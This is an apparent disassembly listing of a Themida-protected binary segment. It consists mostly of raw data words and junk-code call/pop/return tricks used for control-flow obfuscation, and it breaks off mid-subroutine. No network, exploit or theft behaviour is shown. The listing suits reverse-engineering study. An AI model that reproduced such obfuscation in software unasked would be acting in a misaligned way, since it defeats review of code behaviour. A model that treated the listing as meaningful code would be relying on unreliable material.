dd 0F0307A8h, 4E785h, 1DBD2300h, 8307A827h, 0ABBB2BBDh
dd 840F0007h, 4D4h, 3298D29h, 0B5FF07A8h, 7ABBB2Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FBC35343h, 12E880h
dd 0E0000h, 0F6620200h, 0D5AFF4C5h, 0DAEE5CB9h, 69B9E89Ch
dd 7595FF5Fh, 0F07A824h, 0DB81F8BFh, 1E24DF7Ah, 0BB1FB58Bh
dd 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0B91BE7C3h, 10517EAh, 44B785C5h, 360CBB66h
dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0BB654AC3h, 77AD4AE1h, 559D897Bh
dd 9607A814h, 4880Fh, 0B3500000h, 96505B0Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 19C35141h, 0F385CE32h
dd 0B7F9BFFBh, 0F78023A8h, 2BB5FF27h, 6A07ABBBh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 96F7C356h, 7C550BADh, 2E4DEEF9h, 10DDBD33h, 8D2907A8h
dd 7A8309Dh, 7E8h, 183D1900h, 0CACCC160h, 3800Fh, 0E3800000h
dd 95FF5BA7h, 7A823E5h, 30258D31h, 0B58B07A8h, 7ABBB1Fh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C3C35545h
dd 8D84663Bh, 16D04474h, 10E9h, 39B75300h, 48A7B6DDh, 868D2E1Fh
dd 0D2D3E941h, 41858B12h, 6A07A829h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 88E4C353h
dd 7D0A39AAh, 318589E4h, 6007A833h, 419589h, 0E18107A8h
dd 5F54FA82h, 0C4868961h, 0E8000000h, 12h, 0F3C73CB4h
dd 822E7A3Dh, 4C75C79Eh, 4663320Ch, 9529C420h, 7A80869h
dd 31958B5Fh, 6607A817h, 836519BBh, 0C38004C2h, 0F3C78165h
dd 8907AA83h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 2A9569C3h, 0E5B396D5h, 0F595317Bh
dd 5107A819h, 26919D29h, 8D5B07A8h, 0ABCFC185h, 5BF95107h
dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 0B29A3C3h, 1D159D29h, 6A07A8h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0ADC35242h, 85D5D31Ah
dd 0FFA2E588h, 0ABBB2BB5h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0EC0C2698h
dd 76FA4C1Bh, 14E595FFh, 6A07A8h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0E19131C3h, 1EE0EBBh
dd 5E99654h, 3000000h, 626023DBh, 4CBB6650h, 0E950964Ah
dd 8, 0BAAE7559h, 823C8108h, 2BB5FF5Fh, 0F07ABBBh, 68Bh
dd 2D8D8900h, 0FF07A81Eh, 0A81D0995h, 0A840F07h, 0E9000000h
dd 5, 0A85E02E4h, 0FDBD8343h, 7A81Dh, 5E840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0DA318FC3h, 0E9D8BF0Fh, 0Fh, 132B47F2h, 8E98F92Eh, 0E844CCDBh
dd 50F9FA91h, 6A243489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0FB9BC351h, 9D8B2E94h
dd 7A80521h, 0BB2BB5FFh, 6A07ABh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0A88248C3h, 95FFDDF7h
dd 7A810D5h, 0BC99589h, 0B5FF07A8h, 7ABBB2Bh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0EDC35242h, 8E92Ah
dd 0BCA40000h, 0E2A09286h, 0BD8B1BEBh, 7A819C1h, 0B3995FFh
dd 6A07A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 954C9C3h, 0A82D759Dh, 0F5BD8307h, 207A831h
dd 6B840Fh, 0BD310000h, 7A81455h, 8BF8BF0Fh, 0A8298185h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 0A6648E4Bh, 0C862D486h, 0C6F5F303h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 692764C3h, 0CCD11BBFh, 0E94DF6FAh, 6, 0EC1351BAh, 0B70F3F50h
dd 0C985C7F9h, 7A821h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0E97CC355h
dd 10h, 0CBAEAAAh, 1AEE9CA0h, 32B532D6h, 4BFA1BD2h, 2881BD89h
dd 0BD8B07A8h, 7A81491h, 0FFF237E9h, 9DB589FFh, 8B07A81Ah
dd 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 0C950869Ah, 820F10AFh, 6, 25159D89h, 858D07A8h
dd 7A80425h, 32BF6690h, 6A9050DCh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 0CC0DC350h
dd 53F1CCD6h, 0F006AF8h, 89h, 89006A00h, 0A805B99Dh, 48858D07h
dd 8907AC61h, 0A81E09BDh, 5C08307h, 0EEEABB66h, 50FE8A90h
dd 0E9006A90h, 8, 264B5182h, 0B6FEF64Dh, 6A006Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 90CE57C3h, 4CA7EA29h, 0F67C826h, 389h, 0FA8B6600h, 218D9D89h
dd 95FF07A8h, 7A81B39h, 2751BD8Bh, 8D8D07A8h, 7AB9A3Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3DC35545h
dd 80530E93h, 0FF5B0CD3h, 0E18589D1h, 8307A800h, 0A806A5BDh
dd 850F0107h, 89h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 6DC35343h, 0E26EF24Bh, 6A026AB9h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0B69BC352h, 88E780A5h, 1E00BF90h, 0F505E52h, 0C87h
dd 6820F00h, 50000000h, 5A310F52h, 0D3809058h, 0E595FF52h
dd 8907A814h, 0A810898Dh, 12E807h, 0D86C0000h, 86BCA463h
dd 0EBE2A092h, 50B7D1Bh, 0A3EE17FDh, 65E9BF66h, 0E38E95Bh
dd 0E80000h, 5D000000h, 6152ED81h, 6A07ACh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 86BFFEC3h
dd 899589E3h, 0E807A821h, 12h, 4846F05h, 2DBDDA49h, 0AF79EEh
dd 0E1B9301Bh, 5BF88F58h, 2890Fh, 5F530000h, 8C03858Dh
dd 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0BE5334C3h, 4BE0D912h, 718D29A7h, 9007A824h
dd 2840F50h, 56000000h, 8B505F5Fh, 6A90FEh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 762ABCC3h
dd 41BFEF6Fh, 3353A3E0h, 0A808F59Dh, 850F5B07h, 0
; ---------------------------------------------------------------------------
push large dword ptr fs:0
stc
mov large fs:0, esp
push 0
push esi
call sub_5C7692
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7692 proc near ; CODE XREF: Themida_:005C768Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5C7692 endp
; ---------------------------------------------------------------------------
dw 0B27Ch
dd 0ED04E821h, 8B3E89D9h, 0A822A5BDh, 5DBD8907h, 0FF07A819h
dd 0A80EE585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 8951C7A1h, 0A82FA5BDh
dd 0BD895F07h, 7A80F0Dh, 6AFF6Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 0DD795CC3h, 8FF3876h
dd 95893D2Ch, 7A81919h, 0E810Fh, 9E90000h, 73000000h, 0E665174Ah
dd 0AFB5E1CCh, 0BBDB5FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 0B25229C3h, 1E7C84A7h
dd 5B3666BBh, 6D95FF6Eh, 0E907A824h, 150h, 48C0Fh, 0BF660000h
dd 0B0FED0h, 19198D29h, 70E607A8h, 0E4FFB70Fh, 5850F71h
dd 0BF000000h, 4D9545EBh, 830F613Ch, 124h, 0CE9h, 60734A00h
dd 0DE4ECA92h, 0AB268152h, 0C8B60F16h, 0E2EADB81h, 6BA3B16h
dd 29000000h, 0A8046D95h, 0B18D8907h, 8B07A834h, 0AFCB81C1h
dd 0C12AF88Dh, 0D88B04E8h, 2BE2F766h, 2D9D89C8h, 0E907A819h
dd 0Fh, 0B3DE9184h, 555A46ADh, 805A23F5h, 8BA6F02Fh, 0C58D09D1h
dd 0E907A828h, 6, 2F36C381h, 858B4D91h, 7A82501h, 0EE9h
dd 0AD9D00h, 0E6710BA9h, 26C26950h, 83324E96h, 958907C0h
dd 7A825E1h, 24699D23h, 0C08307A8h, 9EC38100h, 3B5AF2F6h
dd 0B830FD0h, 0E9000000h, 7Ch, 3175B589h, 8D8B07A8h, 7A82869h
dd 13E9h, 8660A700h, 4CDFF07Eh, 0E9B87E7Eh, 5760074h, 2CCDBDBAh
dd 0F01E183h, 4F84h, 11E900h, 61360000h, 0F4259CADh, 5F23684Fh
dd 2C8B1F0Bh, 0FC49D56h, 1885h, 13E900h, 0EDF10000h, 71B5EB44h
dd 0B31E34E8h, 48A8ED6Dh, 0E22E1A16h, 69A583F9h, 0FE07A828h
dd 89DF8B66h, 0A8250195h, 0ED953107h, 0E907A833h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7ABEB81h]
mov ebx, [ebp+7A82951h]
push 0
push 0
push edx
call sub_5C78C9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C78C9 proc near ; CODE XREF: Themida_:005C78C1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5C78C9 endp
; ---------------------------------------------------------------------------
mov bh, 6Dh
or [eax], edi
cwde
xchg esi, [esi]
fisubr dword ptr [ecx]
mov ch, 7Dh
das
test al, 7
call dword ptr [ebp+7A80D21h]
sub [ebp+7A826F9h], ebx
mov ecx, 793h
sub [ebp+7A83569h], edx
or [ebp+7A82919h], edi
and ecx, 0FFFFFFFCh
jmp loc_5C7919
; ---------------------------------------------------------------------------
dd 0FE932D80h, 0F4AB8C49h, 77474EA5h
db 0B5h
; ---------------------------------------------------------------------------
loc_5C7919: ; CODE XREF: Themida_:005C7907j
cld
push 0
push ebx
call sub_5C7925
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7925 proc near ; CODE XREF: Themida_:005C791Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5C7925 endp
; ---------------------------------------------------------------------------
ror byte ptr [eax-763FD42Ah], 0BDh
xor [ebx], esi
test al, 7
movsx ebx, ax
sub edx, edx
push 0
push edx
call sub_5C7950
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7950 proc near ; CODE XREF: Themida_:005C7948p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C7950 endp
; ---------------------------------------------------------------------------
dd 0F109F4EFh, 719D89C6h, 0AD07A81Bh, 0E8D1C233h, 0E983D003h
dd 81F47504h, 4C981FEFh, 55006A7Bh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0FEBE071Eh, 0E933B7CEh
dd 5, 0F29EC761h, 880D43h, 0BD8B0000h, 7A814F9h, 1731958Bh
dd 9D8B07A8h, 7A80E55h, 0A598D8Bh, 6A07A8h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0CAB75FC3h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D8B5818h
dd 7A81B55h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0F8C35040h, 0AC72869Ch, 8A0FBB1Eh, 0Ch, 0DB816660h
dd 81669388h, 61DE4BEBh, 1885BD83h, 0F0007A8h, 0A384h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 772D9CF5h, 619D33FBh, 0B807A818h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5C7A73
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7A73 proc near ; CODE XREF: Themida_:005C7A6Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5C7A73 endp
; ---------------------------------------------------------------------------
db 0E8h
dd 6A2A8864h, 599D8BEBh, 8B07A835h, 0A807A9BDh, 4D8D8D07h
dd 0E807A84Eh, 12h, 0B590EA08h, 52F46208h, 9D6D63AFh, 7F7D67E9h
dd 0B501CDD6h, 7A804C5h, 6AE1FF5Fh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8386C353h
dd 59EFB906h, 994B62A9h, 939BD83h, 0F0007A8h, 3FC84h, 68D0F00h
dd 81000000h, 0F8AA8FC7h, 39BD837Bh, 107A809h, 3FE840Fh
dd 84BF0000h, 8322BB58h, 0A80939BDh, 860F0307h, 3B6h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FAC35343h, 0F5960F8Ah
dd 5DDF4726h, 25B19D8Bh, 0D98B07A8h, 0D98C6660h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0D1C35343h, 0E1802987h
dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 9EE75DB3h, 66152892h, 13E9DA8Bh, 53000000h
dd 0FA5D2C28h, 0AE6FB3Dh, 0F0048D14h, 3FF10025h, 0C90AB905h
dd 123840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 729D8CC3h, 0E1DD7211h, 59858954h
dd 8B07A821h, 0A80BB185h, 33D88B07h, 0A8287185h, 95895707h
dd 7A805D9h, 0BB66905Bh, 6650B032h, 6A90DE8Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 2D6EC355h, 10E8h, 0F1723D00h, 2F04F219h, 2FCDBE74h
dd 0E09B0A27h, 0C5BB523Dh, 5F268039h, 6A006A5Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 0DA58C356h, 9764C566h, 0B21041Ch, 0A807699Dh, 0E1906807h
dd 0BF66FC42h, 481C961h, 0DC226F24h, 0FF3AB703h, 0A8053995h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 859589C2h, 8907A800h, 0ABBB2B85h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0DBBA334Bh, 6679B958h, 0BF66FB8Bh, 89E97D53h, 8B000001h
dd 0A8157DBDh, 23858B07h, 6A07ABBBh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 85DFC351h
dd 7D6E94Ah, 0FB8BC126h, 14298D29h, 0C707A8h, 18h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E9C35646h, 94420D9Dh
dd 699D3157h, 8B07A824h, 0ABBB27B5h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 891A609h, 0CCD858Bh
dd 6E907A8h, 0BC000000h, 612F972Dh, 0E9068924h, 12h, 0F8E51ECEh
dd 0D2BFEA91h, 0E38FE626h, 0E5D32AC3h, 858B8C5Bh, 7A80BB1h
dd 0D6BF0F60h, 0A388B966h, 4468961h, 0D67ABF66h, 10E85796h
dd 0A000000h, 0A0866A07h, 1E986956h, 6A6F0B8Fh, 6063943Eh
dd 505B5B61h, 0DE960h, 5FC70000h, 0ACAF150Fh, 6D0382C5h
dd 0E8A0043Dh, 11h, 2F884F14h, 53EB7AA8h, 0A2B48B87h, 0F6B64A10h
dd 0D98B66F1h, 6A96615Eh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 54E0C355h, 10E9DAh
dd 13A60000h, 0E3D8ECFBh, 687AFFDAh, 0D49063A4h, 0B5FF4B84h
dd 7ABBB23h, 68DA8B66h, 4A64D16h, 3481F98Bh, 0B94EE924h
dd 0E1BD8904h, 8D07A808h, 0ABBB2B85h, 1850907h, 5007A818h
dd 7E9h, 157D5500h, 4B272655h, 0F9240489h, 53995FFh, 0FB8B07A8h
dd 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0B766ACFAh, 581F22F2h, 799531EDh, 0F507A823h
dd 93985C7h, 307A8h, 0B70F0000h, 2BBD83FBh, 7ABBBh, 34840Fh
dd 0F98B0000h, 7E79E381h, 42E96EC8h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0CCF1C353h, 26714B9Ah, 0BF66EE1Bh, 30509327h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0F338EA0h, 0A9BD2B99h, 8907A833h, 0A8157995h, 39BD8307h
dd 307A809h, 44F850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 73E43FC3h, 0C509705Ah
dd 0BF0F195Dh, 2BBD83D8h, 7ABBBh, 41B840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 81B023C3h, 8FAA7BDBh, 5056BF0Fh, 0B5FF311Dh, 7ABBB2Bh
dd 21459D8Bh, 9D2B07A8h, 7A809E1h, 247595FFh, 6A07A8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0E6399EC3h, 0E3808068h, 1FB58B02h, 8107ABBBh, 0B0C60CBh
dd 106C77Fh, 8B000100h, 0A80E799Dh, 0DF816607h, 0F50010Eh
dd 28Dh, 89F88B00h, 6A2434h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0CD4019C3h, 0B5B06591h
dd 52C02E28h, 58E0Fh, 0ABBF0000h, 5B4BD1C1h, 0BB2BB5FFh
dd 6A07ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0F92E95C3h, 23E595FFh, 6A07A8h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 0D513C8C3h
dd 18E0Fh, 1F80000h, 0A8061195h, 1FB58B07h, 8907ABBBh
dd 0A81CC595h, 8BFB8B07h, 0A8294185h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 0C48689FEh, 0F000000h, 0C8Bh, 68D0F00h, 2B000000h, 0A833199Dh
dd 31958B07h, 0BF07A817h, 7F82ACECh, 0FE8h, 0FB7BBE00h
dd 8B6F52B4h, 0ECB6405Ch, 9B520805h, 286D9589h, 835B07A8h
dd 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 1FB96C3h, 0BB82CDE3h, 0E8F692B4h, 0Ch, 0E455832Bh
dd 0CF938C11h, 0B8B21D4Fh, 5FFEBF0Fh, 6A205089h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0C7ADC350h, 66689C5Ah, 8D7531BBh, 0ABCFC185h, 0F7816607h
dd 8689D0D1h, 0B8h, 12E8h, 0C799DA00h, 4D16F506h, 0CC11A4E6h
dd 0F24F9EBAh, 895CBBAAh, 0A827A995h, 6A5B07h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0FDC35343h, 3A03C121h
dd 0B985895Dh, 0FF07A82Ah, 0ABBB2BB5h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 95FF3120h, 7A814E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 0D0C35646h, 386C8D6Ch, 0E8506165h, 6
dd 50F5F0B4h, 0FE8A638Eh, 2434895Fh, 1AB58D01h, 0B5FF07A8h
dd 7ABBB2Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 86C35747h, 995FF83h, 6607A81Dh, 83D4C6BFh, 0A81DFDBDh
dd 840F0007h, 5Fh, 6EEB81FCh, 9619CAA0h, 50FB8B66h, 12E8h
dd 0AB23D400h, 0E89F1B7Dh, 85651462h
dd 0C70E4A98h, 0E88F07E5h, 5, 72FFA27Dh, 965B5FCBh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9AC35545h, 35051338h
dd 1277FE19h, 0E6BF6698h, 85B58964h, 0FF07A80Ah, 0ABBB2BB5h
dd 0DBBF0F07h, 10D595FFh, 55B707A8h, 0BB2BB5FFh, 6A07ABh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 40701BC3h, 7E4537Ah, 15118589h, 95FF07A8h, 7A80B39h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4C35646h
dd 0F3DC8ACh, 5FBBDABFh, 837208ABh, 0A831F5BDh, 840F0207h
dd 59h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
dd 0CAC35040h, 2EB20379h, 6696AC0Ah, 0F226EB81h, 2981858Bh
dd 0B58907A8h, 7A80481h, 6A0000C6h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4282C352h
dd 0BAF0A43h, 0C985C74Fh, 7A821h, 89000000h, 0A813498Dh
dd 0F33AE907h, 0FE9FFFFh, 94000000h, 5106EB9Fh, 117A0EC7h
dd 9580BCAh, 0C18BA17Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0BC35646h, 1AB60636h, 4AD4EE4Eh, 264DBD0Bh
dd 858D07A8h, 7A80425h, 21A1B589h, 519007A8h, 505BF88Bh
dd 4860Fh, 8B600000h, 8B9061D7h, 0A826899Dh, 6A006A07h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 3A54C353h, 8BFB1998h, 0A80D359Dh, 8FBF6607h
dd 6A006AD9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 4DE4C353h, 0A263AE3Ch, 22108AF5h
dd 8858DF9h, 6A07AC71h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0CD9BC356h, 0BDEAFFCAh
dd 0C083F88Bh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0FE67FCDh, 9D8BD8BFh
dd 7A80065h, 8B665150h, 4895FF9h, 2890F24h, 8B000000h
dd 870F53FAh, 6, 35618509h, 6A5F07A8h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0C36A72ACh, 6A3AD7E3h, 39EDBB00h, 95FF6FD6h, 7A81B39h
dd 319D0B50h, 5B07A833h, 3B8D8DF5h, 3307AB9Ah, 0A82C35BDh
dd 6AD1FF07h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 1DE5C351h, 3991B900h, 8589D5A7h
dd 7A82C3Dh, 3FF78166h, 0A5BD838Bh, 107A806h, 17850Fh
dd 0BD890000h, 7A80F81h, 8166026Ah, 50BE8AEBh, 0FF240489h
dd 0A814E595h, 0E7DE907h, 0E80000h, 5D000000h, 7112ED81h
dd 6A07ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 2A4F46C3h, 8D895F27h, 7A82539h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 34C35343h, 0FE2F2E91h
dd 0BD8960CDh, 7A83331h, 1E2D8589h, 8D6107A8h, 0AB8C0385h
dd 18F0F07h, 0F9000000h, 66525090h, 0F3BB5BFh, 0FDBB6631h
dd 50585AFFh, 90D88B66h, 0D958960h, 6607A822h, 619303BAh
dd 35FF64h, 0E8000000h, 0Dh, 0D3233C30h, 8B1A358Ch, 0A516DD59h
dd 13E858h, 16EA0000h, 0D562DB94h, 9C9E21Eh, 4A89AD7Ch
dd 2CDB2E45h, 890F06h, 5B000000h, 2589645Bh, 0
; ---------------------------------------------------------------------------
mov [ebp+7A821BDh], esi
inc dword ptr [ebp+7A80EE5h]
push 0
push edi
call sub_5C865B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C865B proc near ; CODE XREF: Themida_:005C8653p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5C865B endp
; ---------------------------------------------------------------------------
retn 0C2B5h
; ---------------------------------------------------------------------------
mov edi, esi
push 0FFFFFFFFh
mov edi, 6C8F66BCh
movzx ebx, cx
push dword ptr [ebp+7A83099h]
push 0
push eax
call sub_5C868B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C868B proc near ; CODE XREF: Themida_:005C8683p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5C868B endp
; ---------------------------------------------------------------------------
db 2Dh
; ---------------------------------------------------------------------------
jmp loc_5C86AA
; ---------------------------------------------------------------------------
db 77h, 88h, 0E7h
dd 3B97D943h
; ---------------------------------------------------------------------------
sbb dl, [ecx]
loc_5C86AA: ; CODE XREF: Themida_:005C869Cj
call dword ptr [ebp+7A8246Dh]
jmp loc_5C87F0
; ---------------------------------------------------------------------------
db 66h, 81h, 0DBh
dd 9D31BE30h, 7A80935h, 0EDBF00B0h, 0E61F3567h, 219D2370h
dd 0E407A82Eh, 21858971h, 3C07A82Fh, 11830F61h, 0F000001h
dd 0EF81C8B6h, 34FFF807h, 6BAh, 0BD8B5000h, 7A817D1h, 8BC18B5Fh
dd 4E8C1F9h, 30A1BD29h, 0BD2B07A8h, 7A81CB9h, 29E2F766h
dd 0A814B98Dh, 9C82B07h, 0A8053DB5h, 0E8D18B07h, 12h, 0E3CBCD02h
dd 7388D31Fh, 9A1BB2BEh, 0B151C820h, 9E99A55h, 0C5000000h
dd 0CEFD125Ah, 79CC5EFEh, 4E95Bh, 0BB660000h, 858B5C8Ch
dd 7A83125h, 9850Fh, 830F0000h, 3, 83F9B70Fh, 8B6607C0h
dd 0C083DAh, 3BD8BF0Fh, 3F830FD0h, 60000000h, 0DE8h, 0FE808300h
dd 0C2EB6B18h, 0B1B96020h, 0B58B2E0Dh, 7A8172Dh, 14E85Eh
dd 0CE510000h, 0BA40B02Ah, 93C2642Ah, 3D4573A5h, 0C402DAECh
dd 0BF0F2600h, 0E96158D3h, 40h, 8D8BF88Bh, 7A82361h, 26918589h
dd 0E18307A8h, 29840F01h, 53000000h, 0D98B6656h, 0A5835B5Fh
dd 7A82361h, 4850FFEh, 66000000h, 8953AFBFh, 0A8312595h
dd 3D8D0107h, 0E907A81Bh, 0
; ---------------------------------------------------------------------------
loc_5C87F0: ; CODE XREF: Themida_:005C86B0j
lea esi, [ebp+7ABF43Eh]
jle loc_5C87FD
clc
loc_5C87FD: ; CODE XREF: Themida_:005C87F6j
push 0
push 0
push ebp
call sub_5C880A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C880A proc near ; CODE XREF: Themida_:005C8802p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5C880A endp
; ---------------------------------------------------------------------------
dw 40h
; ---------------------------------------------------------------------------
inc edx
jl loc_5C8829
mov ebx, [ebp+7A80575h]
loc_5C8829: ; CODE XREF: Themida_:005C881Dj
; Themida_:005C8879j
call dword ptr [ebp+7A80D21h]
xor bl, 0EFh
mov ecx, 82Ah
push 0
push eax
call sub_5C8842
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8842 proc near ; CODE XREF: Themida_:005C883Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
